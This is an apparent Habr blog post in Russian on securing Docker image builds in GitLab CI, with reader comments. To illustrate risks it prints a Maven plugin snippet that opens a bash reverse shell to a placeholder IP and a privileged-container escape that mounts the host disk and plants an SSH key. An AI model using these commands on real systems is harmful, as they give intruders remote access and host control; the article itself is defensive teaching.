Привет, Хабр! Я Саша Лысенко, ведущий эксперт по безопасной разработке в К2 Кибербезопасность. Сейчас появилась куча инструментов для автоматизации рутинных задачи и все активно идут в эту сторону для оптимизации ресурсов и быстрых результатов. Так в DevOps внедрение CI/CD пайплайнов ускоряет разработку, деплой приложений, сокращает time to market. Автоматизация — незаменимый сегодня процесс, который при этом открывает отличные лазейки и для киберугроз. Далеко не все задумываются, кому и какие доступы раздают и к каким последствиям это может привести. Поэтому без учета кибербезопасности здесь появляются дополнительные риски инцидентов. В этой статье я поэтапно разобрал пример сборки Docker-образов в GitLab CI пайплайнах с учетом баланса между безопасностью автоматизированной разработки и скоростью процесса.

Шаг 1. Shell executor

Итак, мы создали отдельную виртуалку, установили на ней демона Gitlab CI, зарегистрировали его в GitLab и начали запускать свои пайпланы. Отлично — у нас есть DevOps!

Теперь в нашей инфраструктуре любой разработчик может выполнить произвольный код с правами gitlab-runner, получив тем самым доступ к хосту. Кроме возможности воздействовать на пайплайны из других проектов, такой доступ также позволяет перемещаться по инфраструктуре дальше. Раннеры часто имеют расширенные сетевые доступы, например, для автоматизации деплоя. В рантайме задач встречаются довольно интересные секреты и пароли, а также открывается возможность встраивать вредоносы в результаты работы нашей автоматизации.

Какие же у нас есть пути решения:

Вариант 1. «Ограничить запуск пайплайнов только для защищенных веток и сливать в них код только после код-ревью» — кажется хорошим решением, но на практике не применимо. От нас требуют скорости, быстрой проверки гипотез, а такой подход сильно застопорит процесс разработки. Также это нас никак не защитит от возможных воздействий со стороны скомпрометированных зависимостей.

Вариант 2. Запретить разработчикам править пайплайн. Например, вынести их в отдельный репозиторий или просто запретить редактировать файл. Как и с предыдущим способом, в этом варианте тоже есть проблемы. Во-первых, не всегда есть выделенный человек на CI/CD. Во-вторых, скомпрометированные зависимости. В-третьих, не стоит забывать, что запустить «скрипт» можно разными способами. Например, у нас две стадии сборки: на первой стадии собирается jar файл с помощью maven, а на второй — docker-образ с этим jar файлом.

stages:
  - build
  - dockerize

maven-build:
  stage: build
  script:
	- echo "Running Maven build..."
	- mvn clean package -DskipTests
  artifacts:
	paths:
  	- target/*.jar

docker-build:
  stage: dockerize
  script:
	- echo "Building Docker image..."
	- docker build -t my-app-image

Манипулируя конфигурацией maven, можно запустить произвольный скрипт:

<plugin>
  <groupId>org.codehaus.mojo</groupId>
  <artifactId>exec-maven-plugin</artifactId>
  <version>3.1.0</version>
  <executions>
	<execution>
  	<phase>package</phase>
  	<goals>
    	<goal>exec</goal>
  	</goals>
  	<configuration>
    	<executable>bash</executable>
    	<arguments>
      	<argument>-c</argument>
      	<argument>bash -i >& /dev/tcp/256.261.282.293/6666 0>&1</argument>
    	</arguments>
  	</configuration>
	</execution>
  </executions>
</plugin>

Запретить ВСЕ исполняемое на стадии сборки просто не получится, слишком много лазеек. Да и в итоге мы опять начинаем тормозить процессы.

Шаг 2. Docker Executor

На помощь нам приходят контейнеры. Они позволяют изолировать рантайм задач CI и ограничивать доступ к ресурсам хоста.

Вернемся к нашему пайплайну из двух стадий. Для сборки контейнера нам потребуется docker-демон. Доступ к хостовому отбросим сразу — это даст возможность управлять рантаймом других задач, да и в целом, имея такие привилегии, получить полный доступ к системе не сложно.

Обратимся к документации. Там нам советуют использовать образ dind (Docker in Docker) в качестве сервиса к нашей задаче. Чтобы это работало, надо настроить раннер на запуск контейнеров в привилегированном режиме:

concurrent = 100
log_level = "warning"
log_format = "text"
check_interval = 3 # Value in seconds

[[runners]]
  name = "first"
  url = "https://256.261.282.293"
  executor = "docker"
  token = "*******53NxVFzR**********"
  [runners.docker]
	tls_verify = false
	privileged = true
	disable_cache = false
	volumes = ["/cache"]
	pull_policy = "if-not-present"
	allowed_pull_policies = ["if-not-present"]
	userns_mode = "auto"
	security_opt = [
  	"no-new-privileges"
	]
stages:
  - build
build:
  stage: build
  image: docker:24.0.5
  services:
	- name: docker:24.0.5-dind
  	alias: docker
  	command: ["--tls=false"]
  variables:
	DOCKER_HOST: tcp://docker:2375
	DOCKER_DRIVER: overlay2
	DOCKER_TLS_CERTDIR: ""
  before_script:
	- docker info
  script:
	- docker build -t 'my-registry/t-group/backend:latest' 

Ключевая проблема, которая у нас по-прежнему остается — привилегированный контейнер. Имея такой доступ, мы все еще довольно простыми манипуляциями можем получить доступ к хостовой системе.

stages:
  - build

build:
  stage: build
  image:
	name: docker:latest
	docker:
  	user: root
  variables:
	DOCKER_HOST: tcp://docker:2375
	DOCKER_DRIVER: overlay2
	DOCKER_TLS_CERTDIR: ""
  services:
	- name: docker:24.0.5-dind
  	alias: docker
  	command: ["--tls=false"]
  before_script:
	- docker info
  script:
	- mkdir /pwnd
	- mount /dev/dm-0 /pwnd
	- echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/p4C5igypITUB/t/WfiEwTx8pAt6qlI+ik7P2MnVbQOmLThEtJ7GYMAhBWBuJDWsuiSVndIUJPLOeTJyK85vImQY7tsSf1dQ0VWUdLojqQ3B0Vq2tdFd5Egi1e2HMxUjrd39AO9oohTvGhPVNicY1iSIkqawQLuAIOSvv9ZF8JfeEeoboT0rKrA/oX1fFD8jJ7N+vRQVzZ0sx+xoLcSVoy28jsj9x8hSJR+/+x0nULcGceJgmthF2bqzplJyImi8B2NT1zwO6b5l9BfvTCikkHrfTYLzmSaP0F8cQ5qyq0y/N6bQ4JJxBLAPgxFdKviWrK8WzailCSbR+csFePW18Ti1lVAOca+NpnRTXUHMVmu+4Zw6wUB0v/bYPn5b/Yq7yibCdC5IRQEzauji+MgOTx/l9b3b3hXyf4e+YnjiBAe9vCMZsQO0SWO9zWaEtj8dpJb8T5jmuuMYbxgWI99dobCqUSMk9b5mPPsRkUDQGzE3DbbAkVqE615As1OxTzrs= pwnd@pwnd' >> /pwnd/home/debian/.ssh/authorized_keys
	- docker build -t my-docker-image

Хотя мы можем доверять нашим разработчикам и быть уверенными, что они не станут совершать подобных действий, мы не можем гарантировать, что используемые образы и ПО не содержат скрытых уязвимостей или вредоносного кода. Кроме того, даже ограниченный доступ к среде разработки может стать точкой входа для получения привилегированного доступа к инфраструктуре. Поэтому давайте попробуем данные привилегии сократить по максимуму.

Шаг 3. Rootless buildkit

Привилегированный доступ требует запуск докера — попробуем от него избавиться. Из всего функционала нам нужна только сборка. Для сборки контейнеров в докере используется buildx, который в свою очередь отправляет запросы в buildkit демон. Запуск buildkit демона тоже требует привилегированных прав, но в документации к нему есть один интересный раздел «Rootless mode» — запуск buildkit без прав суперпользователя.

Для реализации rootless режима используется RootlessKit — имплементация «fake-root». RootlessKit создает дополнительный user-namespace, имитируя root пользователя. Подробнее можно ознакомится в документации к RootlessKit.

В наборе buildkit есть скрипт buildctl-daemonless.sh, который позволит нам запустить сборку без демона. Если быть точнее, скрипт запускает демона и buildkitctl обращается к нему. Чтобы упростить пайплайн можно использовать этот скрипт вместо запуска сервиса. Таким образом, получаем следующий пайплайн:

stages:
  - build

build:
  stage: build
  image:
	name: moby/buildkit:master-rootless
	entrypoint: [""]
  variables:
	BUILDKITD_FLAGS: --oci-worker-no-process-sandbox
  script:
	- buildctl-daemonless.sh build
  	--frontend=dockerfile.v0
  	--local context=./
  	--local dockerfile=./
  	--output type=image,name=registry.null/t-group/backend:latest,push=false

Для использования RootlessKit необходимо в явном виде отключить профили apparmor и seccomp, так как их стандартные профили не позволяют создавать новые namespace. А также добавить linux capabilities SETUID, SETGUID и убрать опцию no-new-privileges для имитации root пользователя. В итоге конфиг раннера будет выглядеть следующим образом:

concurrent = 100
log_level = "warning"
log_format = "text"
check_interval = 3

[[runners]]
  name = "first"
  url = "https://256.261.282.293"
  executor = "docker"
  token = "*******53NxVFzR**********"
  [runners.docker]
	tls_verify = false
	privileged = false
	disable_cache = true
	volumes = []
	pull_policy = "if-not-present"
	allowed_pull_policies = ["if-not-present"]
	userns_mode = "auto"
	cap_add = ["SETUID", "SETGID"]
          user = "1000:1000"
	security_opt = [
  	"seccomp=unconfined",
  	"apparmor=unconfined"
	]

В контексте RootlessKit это решение не создает дополнительных рисков с точки зрения безопасности. Однако требует поддержки отдельного пула раннеров, предназначенного исключительно для сборки контейнерных образов. Кроме того, из-за отсутствия механизмов профилирования безопасности нам приходится явно указывать uid и gid пользователя в конфигурации задачи, что может быть достаточно неудобным.

Шаг 4. Kaniko 

А что если мы хотим сохранить seccomp и apparmor профили? Тут нам на помощь приходит Kaniko — инструмент по сборке контейнеров. Kaniko имеет ряд ограничений: нельзя собирать Windows-контейнеры, сложности с циклами на ссылках, довольно редко выходят обновления. При этом он позволяет собирать контейнеры без компромиссов безопасности:

stages:
  - build

build:
  stage: build
  image:
	name: gcr.io/kaniko-project/executor:v1.23.2-debug
	entrypoint: [""]
  script:
	- executor
  	--context "${CI_PROJECT_DIR}/"
  	-f "${CI_PROJECT_DIR}/Dockerfile"
  	--destination 'registry.null/t-group/backend:latest'

Kaniko не создает новых namespace. Вместо этого он распаковывает слой образа и делает в него chroot.

Это накладывает ряд ограничений:

  • увеличенное время сборки;

  • циклы на ссылках;

  • запуск только от root (хотя абстракциями выше контекст достаточно хорошо изолирован).

Вывод

Ограничить привилегии «широким жестом» — не получится. Независимо от используемого инструмента, потребуется четкое разграничение кода приложения и кода CI/CD, продуманная ролевая модель доступа, а также эффективное управление привилегиями.

Важно понимать, что даже официальная документация нередко содержит решения с серьезными рисками. Поэтому интеграция кибербезопасности должна осуществляться комплексно — как на техническом уровне, так и на организационном. Только системный подход позволит минимизировать риски и обеспечить устойчивую защиту разработки.

Комментарии (4)


  1. Lainhard
    29.05.2025 17:35

    Тоже как-то задумывался об этом вопросе: а что если разработчик злодей? Пришел к варианту gitlab custom executor + qemu.

    virtiofs - что бы расшарить папку в гостя

    qemu-guest-agent - для запуска комманд (получение вывода, мониторинга состояния и вот это вот всё)

    А учитывая что у нас есть снапшоты, то старт и вовсе не сильно (на самом деле сильно, но кто заметит?) медленнее того же docker executor.

    Где-то даже прототип валялся, который я обещал себе доделать.


    1. Ailysom Автор
      29.05.2025 17:35

      Идея "богатая", во всех смыслах.

      Звучит круто, но есть ощущение, что очень дорого.
      Как со стороны времени запуска, так и со стороны оверхеда по ресурсам.
      Плюс после Вас это же еще кто-то поддерживать будет.


      1. Lainhard
        29.05.2025 17:35

        Нет, время запуска небольшое (снапшоты, помним?), а вот ресурсы да - стандартный оверхед в виде целого ядра и виртуализации.


  1. nefrit0n
    29.05.2025 17:35

    Спасибо, сохраню вашу статью чтобы использовать когда стану DevSecOps специалистом.